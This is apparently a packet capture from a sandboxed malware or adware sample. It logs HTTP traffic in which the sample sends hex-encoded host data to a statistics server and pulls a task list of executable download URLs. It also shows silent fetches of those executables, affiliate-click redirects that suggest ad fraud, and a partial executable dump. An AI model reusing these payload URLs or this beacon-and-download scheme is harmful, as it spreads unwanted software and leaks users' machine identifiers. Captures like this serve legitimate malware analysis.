9...0...N.B.A.-b..H.V.@.!..M..D...0.....$..........gPI...j}..@@.oEF...
..Y_.....S.f.........F......DbF..u1. ..h.%.S.....nY@..Y.P.c..`.^.@P..@
/..i$...$...)6/;@.w.l,..%...^.- .....p.WK<..;W.1..T.. E.%.%....
>>

GET /t/font_1432191682_899724.eot? HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: at.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/octet-stream

Content-Length: 32212

Connection: keep-alive

Date: Thu, 21 May 2015 10:01:34 GMT

Accept-Ranges: bytes

Access-Control-Allow-Origin: *

Cache-Control: max-age=31557600

ETag: "4D259A43E060FF333831543B075691D4"

Last-Modified: Thu, 21 May 2015 07:01:23 GMT

x-oss-object-type: Normal

x-oss-request-id: 555DACFE59BCDC5C50BEA26F

Via: cache54.l2de1[0,200-0,H], cache14.l2de1[0,0], cache2.es1[0,200-0,H], cache4.es1[0,0]

Age: 1446918

X-Cache: HIT TCP_MEM_HIT dirn:8:92591325

X-Swift-SaveTime: Thu, 21 May 2015 10:08:42 GMT

X-Swift-CacheTime: 31557172
.}...|............................LP.........................'........
..............j.u.-.f.o.n.t.....f.o.n.t.....V.e.r.s.i.o.n. .1...0. .;.
 .t.t.f.a.u.t.o.h.i.n.t. .(.v.0...9.4.). .-.l. .8. .-.r. .5.0. .-.G. .
2.0.0. .-.x. .1.4. .-.w. .".G.". .-.f. .-.s.....j.u.-.f.o.n.t.........
.......pFFTMoD.S........OS/2W{\........`cmap..!....x...Jcvt ...4..rl..
.$fpgm0.....r.....gasp......rd....glyfU..n......hthead......k8...6hhea
.#....kp...$hmtx22!Q..k....$loca.r.:..l.....maxp.i....mL... name.B/_..
ml....post.4]...o.....prep...f..|(.............=........3A......3B...U
.......................3..............................PfEd...x.D.,.,.\
.=................. .....................D...........(...........x.D..
...x..................................................................
......................................................................
......................................................................
......................................................................
......."...2.......)@&.......W.....K....O.....C............. 3.!.'3.#"
........V".f.....,.........0.:.R.^.wK..PX@J........f......^.....\.....
..^.......^....i........X.........Y.....Q.....B.K..PX@K........f......
^.....\........f.......^....i........X.........Y.....Q.....B.K..PX@L..
......f......^.....\........f........f....i........X.........Y.....Q..
...B.@N........f.......f......d........f........f....i........X.......
..Y.....Q.....BYYY@(SS;;21..S^S^[X;R;RKC751:2:.0.0Q.1..(.@.. .. ."....
!54&54.. ..!.......#.& .'!. ."'"..=.."...3264&.......;.26'..'&'.54
>>

POST /detail.ashx HTTP/1.0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 38

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

content=3234383638323132303934343B313B
HTTP/1.1 200 OK

Server: nginx/1.2.9

Date: Sun, 07 Jun 2015 03:53:30 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 2

Connection: keep-alive

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Cache-Control: private
okHTTP/1.1 200 OK..Server: nginx/1.2.9..Date: Sun, 07 Jun 2015 03:53:3
0 GMT..Content-Type: text/html; charset=utf-8..Content-Length: 2..Conn
ection: keep-alive..X-Powered-By: ASP.NET..X-AspNet-Version: 2.0.50727
..Cache-Control: private..ok..

GET /json/collect_mark.htm?_ksTS=1433649414725_104&callback=jsonp105 HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: dskip.ju.taobao.com

Connection: Keep-Alive

Cookie: miid=6285916918777865876; v=0; cookie2=1cc8da8d670bbd10fd8656297680c49b; t=599cdaa8dd68482e53a192eeac8675e0; _tb_token_=9o1eyu5kTo; cna= K76DU0gXVsCAcGK9OeOy6tf; bid=0; jc=shanghai

HTTP/1.1 200 OK

Server: Tengine

Date: Sun, 07 Jun 2015 03:56:55 GMT

Content-Type: text/html;charset=GBK

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Server-Num: judetail010179149115.s.et2

S: STATUS_NORMAL

Pragma: no-cache

Cache-Control: no-cache

Set-Cookie: uc1=cookie14=UoW0EaRl5GhSgA==; Domain=.taobao.com; Path=/

Set-Cookie: cookie2=1cc8da8d670bbd10fd8656297680c49b;Domain=.taobao.com;Path=/;HttpOnly

Set-Cookie: t=599cdaa8dd68482e53a192eeac8675e0; Domain=.taobao.com; Expires=Sat, 05-Sep-2015 03:56:55 GMT; Path=/

P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'

Content-Language: zh-CN

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Via: wagbridge010181176017.s.et2[web]

Set-Cookie: bid=0; Domain=ju.taobao.com; Path=/; Expires=Wed, 12-Oct-2050 02:50:13 GMT

Content-Encoding: gzip
4c.................*.. 040....R.............% ....Xf.O~zf.P -1.8.....K
..Z.;.>.....0..HTTP/1.1 200 OK..Server: Tengine..Date: Sun, 07 Jun 
2015 03:56:55 GMT..Content-Type: text/html;charset=GBK..Transfer-Encod
ing: chunked..Connection: keep-alive..Vary: Accept-Encoding..Server-Nu
m: judetail010179149115.s.et2..S: STATUS_NORMAL..Pragma: no-cache..Cac
he-Control: no-cache..Set-Cookie: uc1=cookie14=UoW0EaRl5GhSgA==; D
omain=.taobao.com; Path=/..Set-Cookie: cookie2=1cc8da8d670bbd10fd86562
97680c49b;Domain=.taobao.com;Path=/;HttpOnly..Set-Cookie: t=599cdaa8dd
68482e53a192eeac8675e0; Domain=.taobao.com; Expires=Sat, 05-Sep-2015 0
3:56:55 GMT; Path=/..P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR
 INT DEM STA PRE COM NAV OTC NOI DSP COR'..Content-Language: zh-CN..Ex
pires: Thu, 01 Jan 1970 00:00:01 GMT..Via: wagbridge010181176017.s.et2
[web]..Set-Cookie: bid=0; Domain=ju.taobao.com; Path=/; Expires=Wed, 1
2-Oct-2050 02:50:13 GMT..Content-Encoding: gzip..4c.................*.
. 040....R.............% ....Xf.O~zf.P -1.8.....K..Z.;.>.....0..
>>

GET /tps/i1/TB1eHBsGFXXXXa7XFXXoYWL.FXX-130-35.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms01.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 1318

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:38:54 GMT

Last-Modified: Sun, 19 Oct 2014 05:24:46 GMT

Expires: Thu, 29 May 2025 11:38:54 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache29.l2de1[0,200-0,H], cache20.l2de1[0,0], cache4.de1[0,200-0,H], cache2.de1[1,0]

Age: 490679

X-Cache: HIT TCP_MEM_HIT dirn:4:794143082

X-Swift-SaveTime: Mon, 01 Jun 2015 11:43:50 GMT

X-Swift-CacheTime: 315359704
.PNG........IHDR.......#.....o."....xPLTE.............................
......................................................................
............................'tRNS................S~..... .do..vKD.\&lt
;2. ..e.2...6IDATX...... ...].}.....p"...$.95U.....?.............lEn.G
......DQ.n.5..4.....'./.#B.._..g.....@L..w..zzo.@..CP.|.:...@x.H...`1.
.Fh........E.V")>.x.9..n.D...tV....B%.s......\.=.......ME....!\Y...
E<P..`X......r8...k...6?.K.A..sHB(i.<.<f.VIR.t(=.7..u........
k.1......a......u..P.1.(......X}Bu!.c.7..ci^..o@...../B...}..6........
.......}....w.....(P.....&.Cn......r..eh..Y*....a.Z.P..l..MDYY..'..$..
n..G....u:..E,..a.W(.....9~.y.s. .hA...s~B.1.......fE.?J...C...6Q.....
X.G.$*..7...%...:q..&i./`=..#.C.i..@H!4|.,..u..Ch.P ,/....z|.E...$.XR.
@B(.@.."CD......\&...A9...... !..D.V...Vk.9%...q..u..:.....L..........
0...2.U ..h.k.7.PY2...v.BC....AR.. .h,_ ,.U "r_..?(..v.g...w:jD7..5...
.Y:.a.6.W.........d.:..[.H..^..Ji=...@.!......!....._........I..{.8.](
.<..|...........c&;.m.#4";..v...[..#.. !..)#:..F...|%...q.Z..Oz6N.8
.\.Hwh-Q..M-|....P...V.i|.h..)..}..]..a_ZZ..%.`..;U....G...!T...G..I;f
.V..../(._....Lr...1).h...[{.....'.0yO...Ms.....!jvt.m..........7.V..k
.W.*....<...mg...p.? ...r.<....FQr....kd....x ....wb.[.....(.B.V
........l.xu.......5..........).~.dl.0.,.?......=W.e.8b5.".?..!.:.....
....IEND.B`.....
>>

GET /app.gif?&cna= K76DU0gXVsCAcGK9OeOy6tf HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: pcookie.taobao.com

Connection: Keep-Alive

Cookie: miid=6285916918777865876

HTTP/1.1 200 OK

Server: Tengine

Date: Sun, 07 Jun 2015 03:56:54 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna= K76DU0gXVsCAcGK9OeOy6tf; expires=Wed, 04-Jun-25 03:56:54 GMT; path=/; domain=.taobao.com

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Server: Te
ngine..Date: Sun, 07 Jun 2015 03:56:54 GMT..Content-Type: image/gif..C
ontent-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa A
DMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna= K76DU0gXVsCA
cGK9OeOy6tf; expires=Wed, 04-Jun-25 03:56:54 GMT; path=/; domain=.taob
ao.com..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cach
e..Pragma: no-cache..GIF89a.............!.......,...........L..;..

GET /tps/i3/T1SYFVFEhjXXaa3MZD-222-103.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtd.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 3480

Connection: keep-alive

Date: Thu, 06 Nov 2014 11:19:14 GMT

Last-Modified: Sun, 16 Mar 2014 03:43:26 GMT

Expires: Sun, 03 Nov 2024 11:19:14 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache7.l2de1[0,200-0,H], cache20.l2de1[0,0], cache4.es1[0,200-0,H], cache3.es1[0,0]

Age: 18376660

X-Cache: HIT TCP_MEM_HIT dirn:5:313294980

X-Swift-SaveTime: Wed, 11 Mar 2015 03:54:01 GMT

X-Swift-CacheTime: 304586713
.PNG........IHDR.......g.....o...... cHRM..z%..............u0...`..:..
..o._.F....bKGD..............pHYs.................vpAg.......g..Z=6...
.IDATx....l.......I..i.[...^...-Yn...q....6m......Q..*j.1n,..U..P..E.4
.|.:ic......N... ..JT...{.....R.....J....om..!.G.8...,...?.O../~......
......B|Qt."0....EH....i@...0Z:!......tB.lZ........B....$x...B.TW..\..
..w.....}....m.z. ./1d....f..q...,.d....7[.f{.q...<..I...Z........u
...U..\....1...Q6E&c.X......X.,...r93.<..=r..]._W}fBd M....b.|p.1.)
...N.HWR..d..S..hs..B\6s.c.Bs..O..e.....7.u.On..q.2.M.c7.....( 2i"...&
lt;!.......O..$xB( ..B.....H..P.Z>eL.L.SL...D..C?7..h.5......L.....
...%xYn..e.....0...p.....-.#.g.)=..jf...c...Kg.....A....{y.e.5....@V./
.....D.._.k.?....D....VY3...xp................3.......#.P[[......].fM.
.@ @CC......K8........">...FGGijj..tRVV...{.#.;v.`..%....O>.]w..
.2_7....t8eY\...^(...v..x.D"..n..v{R9..Joo/.7n..... W...p...~?ccc.={..
....\b.711AII..G..e..u...n.V /.."N....A.....l.9r...j..x..Y........y...
.<.i.7.....D..'o..|....=Oa...\...i..yxm|.t&.....mV..........v{.5...
.8q...Zl6............2<<..jUVVRSS...g.y.@ ..s].W....a..e....n...
b..v...Eaa!UUU.|>..0......Q]]..l.....V2QA..Q...../.U1}.......JW.-..
.g..;.g..6...s.....|..g..."..g...H_..fr.-W}z.).......3....Z.......... 
........b.......x<...x=....zf...JZ....\. v5..................[;..."
...R.......P.e.j...............S._G?.....q....'?........G 1x'?As.S}.YM
y....x...q:......tmmm.X...m..._....tww.F7.l6.....m.`t..}.......X..<
q.x7..BLL$O-[,.....@GG.V.5)................k./...w.ygR.WPP@8.....P
>>

GET /t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s.click.taobao.com

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

Server: Tengine

Date: Sun, 07 Jun 2015 03:56:49 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Location: hXXp://s.click.taobao.com/t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=y0%2FAnYnYDIscU%2BlhjhM%2BXZViamC%2Fv3dv

Expires: Sun, 07 Jun 2015 03:56:49 GMT

Cache-Control: max-age=0
0..

GET /paramfile/navweb.txt HTTP/1.1

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/5.0

HTTP/1.1 200 OK

Server: nginx/1.2.9

Date: Sun, 07 Jun 2015 03:53:19 GMT

Content-Type: text/plain

Content-Length: 27

Connection: keep-alive

Last-Modified: Mon, 01 Jun 2015 12:20:58 GMT

Accept-Ranges: bytes

ETag: "feed486a659cd01:14e4"

X-Powered-By: ASP.NET
hXXp://jc.110160.com/ad.htmHTTP/1.1 200 OK..Server: nginx/1.2.9..Date:
 Sun, 07 Jun 2015 03:53:19 GMT..Content-Type: text/plain..Content-Leng
th: 27..Connection: keep-alive..Last-Modified: Mon, 01 Jun 2015 12:20:
58 GMT..Accept-Ranges: bytes..ETag: "feed486a659cd01:14e4"..X-Powered-
By: ASP.NET..hXXp://jc.110160.com/ad.htm..

HEAD /down/069.exe HTTP/1.1

Host: pc.tgi-cn.net

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/octet-stream

Content-Length: 2584944

Connection: keep-alive

Set-Cookie: _alicdn_tc=AQAAAO8yzFdJDQEA5/SKwWgT4/WjbuOw; Path=/; Expires=Sun, 07-Jun-15 04:57:03 GMT; HttpOnly

Last-Modified: Sun, 07 Jun 2015 03:39:22 GMT

Accept-Ranges: bytes

ETag: W/"d22f2c8bd3a0d01:256"

X-Powered-By: ASP.NET

Date: Sun, 07 Jun 2015 03:39:24 GMT

Via: cache8.l2cn201[0,200-0,H], cache30.l2cn201[0,0], kunlun6.cn125[0,200-0,H], kunlun19.cn125[1,0]

Age: 1059

X-Cache: HIT TCP_MEM_HIT dirn:3:282962164

X-Swift-SaveTime: Sun, 07 Jun 2015 03:40:48 GMT

X-Swift-CacheTime: 3600
HTTP/1.1 200 OK..Server: Tengine..Content-Type: application/octet-stre
am..Content-Length: 2584944..Connection: keep-alive..Set-Cookie: _alic
dn_tc=AQAAAO8yzFdJDQEA5/SKwWgT4/WjbuOw; Path=/; Expires=Sun, 07-Jun-15
 04:57:03 GMT; HttpOnly..Last-Modified: Sun, 07 Jun 2015 03:39:22 GMT.
.Accept-Ranges: bytes..ETag: W/"d22f2c8bd3a0d01:256"..X-Powered-By: AS
P.NET..Date: Sun, 07 Jun 2015 03:39:24 GMT..Via: cache8.l2cn201[0,200-
0,H], cache30.l2cn201[0,0], kunlun6.cn125[0,200-0,H], kunlun19.cn125[1
,0]..Age: 1059..X-Cache: HIT TCP_MEM_HIT dirn:3:282962164..X-Swift-Sav
eTime: Sun, 07 Jun 2015 03:40:48 GMT..X-Swift-CacheTime: 3600..

GET /sushou/sw/-2100_1_ss.exe HTTP/1.1

Host: down.sushouspell.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Last-Modified: Tue, 02 Jun 2015 10:02:29 GMT

Accept-Ranges: bytes

ETag: "426d6d3c1b9dd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sun, 07 Jun 2015 04:06:37 GMT

Content-Length: 2479088
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1H..u)..u)..
u)...&..w)..u)...)...&..d)...6...).../..t)..Richu)..........PE..L.....
:J.................\..........!1.......p....@.........................
.P......<.%......................................s...........t.....
.......%.8............................................................
p...............................text...8Z.......\.................. ..
`.rdata.......p.......`..............@..@.data...X............r.......
.......@....ndata.......@...........................rsrc....t.......v.
..v..............@..@.................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
....h>B..H.P.u..u..u...Hr@..X...SV.5p>B..E.WP.u...Lr@..e...E..E.
P.u...Pr@..}..e..9}...Dp@........FP.VT........ M............U....M....
3...3..FQ......3..NU.....M..........VT..U.....FP..E...............E.P.
M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...e....~X.te.v4..Lp@....E.tU.
}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h`6B.W..X
r@..u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q
.3.;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...
>>

GET /paramfile/tasklist.txt HTTP/1.1

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/5.0

HTTP/1.1 200 OK

Server: nginx/1.2.9

Date: Sun, 07 Jun 2015 03:53:21 GMT

Content-Type: text/plain

Content-Length: 2884

Connection: keep-alive

Vary: Accept-Encoding

Last-Modified: Sun, 07 Jun 2015 02:48:04 GMT

Accept-Ranges: bytes

ETag: "1b217660cca0d01:14e4"

X-Powered-By: ASP.NET
...Y73;hXXp://down.y73shop.com:173/down/Y73P2PSearcher_4.exe;Y73P2PSea
rcher_4.exe;0;0;......;0;0;Y73Server.exe;1...........;hXXp://down.sush
ouspell.com/sushou/sw/-2100_1_ss.exe;-2100_1_ss.exe;0;0;......;30;0;JS
ZS.exe;3..............;hXXp://pc.tgi-cn.net/down/069.exe;069.exe;0;0;.
.....;0;0;yqtj.exe;2.....98........................;hXXp://down.chuaij
iu.com/jxjjq_3007_s.exe;jxjjq_3007_s.exe;0;0;......;20;0;jjqix.exe;99.
....114............;hXXp://down.woka123.cn/qudao/bigcx/bigscxhh_203.ex
e;bigscxhh_203.exe;0;0;......;0;0;DaChaXun.exe;120.................;ht
tp://down.meituview.com/MTViewbuildmtview_125.exe;MTViewbuildmtview_12
5.exe;0;0;......;0;1;MTview.exe;83..........................;hXXp://do
wn.i90ba.com/update/greeneye/eyeQYGuard_360.exe;eyeQYGuard_360.exe;0;0
;......;0;0;GEyeGuard.exe;106.....ZM...............;hXXp://download.ju
ezhao123.com/setup/setup_30015.exe;setup_30015.exe;0;0;......;75;0;ano
te.exe;117.............................;hXXp://down.hanhan521.com/Pack
/xun_1090.exe;xun_1090.exe;0;0;......;0;0;GameBox.exe;115.....114.....
..........;hXXp://ddd.1enamesinabaidu163fdadas.net/app/zhouy/update_cc
.6773.5.exe;update_cc.6773.5.exe;0;0;......;0;0;PHDeviceService.exe;11
0................................;hXXp://down.jianghu66.com/dxbox/y8/d
xiklit_y8_001.exe;dxiklit_y8_001.exe;0;0;......;0;0;dxgamesvr.exe;119.
....114...............;hXXp://down.nvjay.com:6677/huajun/huajun_15-5.e
xe;huajun_15-5.exe;0;0;......;0;0;;122.....98.....................;htt
p://cd001.VVV.duba.net/duba/install/2011/ever/duba_3_28.exe;duba_3
>>

GET /t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=y0/AnYnYDIscU+lhjhM+XZViamC/v3dv HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://s.click.taobao.com/t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=y0%2FAnYnYDIscU%2BlhjhM%2BXZViamC%2Fv3dv

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s.click.taobao.com

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

Server: Tengine

Date: Sun, 07 Jun 2015 03:56:50 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Set-Cookie: miid=6285916918777865876; expires=Sat, 03-Mar-2018 03:56:50 GMT; path=/; domain=.taobao.com

Location: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433649410_2k3_660563604

Expires: Sun, 07 Jun 2015 03:56:50 GMT

Cache-Control: max-age=0
0..

POST /newcount.aspx HTTP/1.0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 76

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

content=3631373334313B30302D30432D32392D46442D35352D41443B6665693F2833293B30
HTTP/1.1 200 OK

Server: nginx/1.2.9

Date: Sun, 07 Jun 2015 03:53:21 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 10

Connection: keep-alive

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Cache-Control: private
ok;2120944HTTP/1.1 200 OK..Server: nginx/1.2.9..Date: Sun, 07 Jun 2015
 03:53:21 GMT..Content-Type: text/html; charset=utf-8..Content-Length:
 10..Connection: keep-alive..X-Powered-By: ASP.NET..X-AspNet-Version: 
2.0.50727..Cache-Control: private..ok;2120944..

GET /core.php?web_id=1254485011&t=z HTTP/1.1

Accept: */*

Referer: hXXp://61.196.186.155:73/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: c.cnzz.com

Connection: Keep-Alive

Cookie: cna= K76DU0gXVsCAcGK9OeOy6tf

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 752

Connection: keep-alive

Date: Sun, 07 Jun 2015 03:56:45 GMT

Last-Modified: Sun, 07 Jun 2015 03:56:45 GMT

Expires: Sun, 07 Jun 2015 04:11:45 GMT

Via: cache25.l2de1[579,200-0,M], cache25.l2de1[580,0], cache5.de1[579,200-0,M], cache4.de1[580,0]

X-Cache: MISS TCP_REFRESH_MISS dirn:-2:-2

X-Swift-SaveTime: Sun, 07 Jun 2015 03:56:45 GMT

X-Swift-CacheTime: 900
!function(){var p,q,r,a=encodeURIComponent,b="1254485011",c="",d="",e=
"online_v3.php",f="z13.cnzz.com",g="1",h="text",i="z",j="站ž
71;统计",k=window["_CNZZDbridge_" b].bobject,l="http:",m="
1",n=l "//online.cnzz.com/online/" e,o=[];o.push("id=" b),o.push("h=" 
f),o.push("on=" a(d)),o.push("s=" a(c)),n ="?" o.join("&"),"0"===m&&k.
callRequest([l "//cnzz.mmstat.com/9.gif?abc=1"]),g&&(""!==d?k.createSc
riptIcon(n,"utf-8"):(q="z"==i?"hXXp://VVV.cnzz.com/stat/website.php?we
b_id=" b:"hXXp://quanjing.cnzz.com","pic"===h?(r=l "//icon.cnzz.com/im
g/" c ".gif",p="<a href='" q "' target=_blank title='" j "'><
img border=0 hspace=0 vspace=0 src='" r "'></a>"):p="<a hr
ef='" q "' target=_blank title='" j "'>" j "</a>",k.createIco
n([p])))}();HTTP/1.1 200 OK..Server: Tengine..Content-Type: applicatio
n/javascript..Content-Length: 752..Connection: keep-alive..Date: Sun, 
07 Jun 2015 03:56:45 GMT..Last-Modified: Sun, 07 Jun 2015 03:56:45 GMT
..Expires: Sun, 07 Jun 2015 04:11:45 GMT..Via: cache25.l2de1[579,200-0
,M], cache25.l2de1[580,0], cache5.de1[579,200-0,M], cache4.de1[580,0].
.X-Cache: MISS TCP_REFRESH_MISS dirn:-2:-2..X-Swift-SaveTime: Sun, 07 
Jun 2015 03:56:45 GMT..X-Swift-CacheTime: 900..!function(){var p,q,r,a
=encodeURIComponent,b="1254485011",c="",d="",e="online_v3.php",f="z13.
cnzz.com",g="1",h="text",i="z",j="站长统计",k=
window["_CNZZDbridge_" b].bobject,l="http:",m="1",n=l "//online.cnzz.c
om/online/" e,o=[];o.push("id=" b),o.push("h=" f),o.push("on=" a(d
>>

HEAD /sushou/sw/-2100_1_ss.exe HTTP/1.1

Host: down.sushouspell.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Content-Length: 2479088

Content-Type: application/octet-stream

Last-Modified: Tue, 02 Jun 2015 10:02:29 GMT

Accept-Ranges: bytes

ETag: "426d6d3c1b9dd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sun, 07 Jun 2015 04:06:36 GMT
HTTP/1.1 200 OK..Content-Length: 2479088..Content-Type: application/oc
tet-stream..Last-Modified: Tue, 02 Jun 2015 10:02:29 GMT..Accept-Range
s: bytes..ETag: "426d6d3c1b9dd01:0"..Server: Microsoft-IIS/7.5..X-Powe
red-By: ASP.NET..Date: Sun, 07 Jun 2015 04:06:36 GMT..

GET /core.php?web_id=1255080332&t=z HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: c.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 751

Connection: keep-alive

Date: Sun, 07 Jun 2015 03:56:39 GMT

